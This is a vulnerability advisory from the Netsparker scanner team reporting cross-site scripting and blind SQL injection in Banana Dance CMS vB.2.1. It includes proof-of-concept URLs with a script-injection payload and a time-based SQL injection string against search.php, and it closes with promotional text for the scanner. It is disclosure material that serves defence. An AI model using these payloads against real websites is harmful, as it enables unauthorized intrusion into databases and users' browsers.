Banana Dance CMS B.2.1 XSS / SQL Injection

`Information  
--------------------  
Name : XSS and Blind SQL Injection Vulnerabilities in Banana Dance CMS  
Software : Banana Dance CMS vB.2.1  
Vendor Homepage : http://www.doyoubananadance.com  
Vulnerability Type : Cross-Site Scripting and SQL Injection  
Severity : Critical  
Researcher : Canberk Bolat  
Advisory Reference : NS-11-010  
  
Description  
--------------------  
Banana Dance is a free, open source, PHP/MySQL program takes the best  
of wiki software and combines it with the best of web content  
management systems (CMS).  
  
Details  
--------------------  
Banana Dance is affected by XSS and SQL Injection vulnerabilities in  
version vB.2.1.  
  
Example PoC urls are as follows :  
  
http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3  
http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3  
http://example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+  
  
  
You can read the full article about Cross-Site Scripting and SQL  
Injection vulnerabilities from here :  
  
Cross-site Scripting: http://www.mavitunasecurity.com/crosssite-scripting-xss/  
SQL Injection: http://www.mavitunasecurity.com/sql-injection/  
Blind SQL Injection: http://www.mavitunasecurity.com/blind-sql-injection/  
  
Solution  
--------------------  
Upgrade to the latest Banana Dance version.  
  
Credits  
--------------------  
It has been discovered on testing of Netsparker, Web Application  
Security Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
--------------------  
Vendor Url : http://www.doyoubananadance.com  
MSL Advisory Link :  
http://www.mavitunasecurity.com/xss-and-blind-sql-injection-vulnerabilities-in-banana-dance-cms/  
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/  
  
About Netsparker  
--------------------  
Netsparker® can find and report security issues such as SQL Injection  
and Cross-site Scripting (XSS) in all web applications regardless of  
the platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
  
--   
Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
`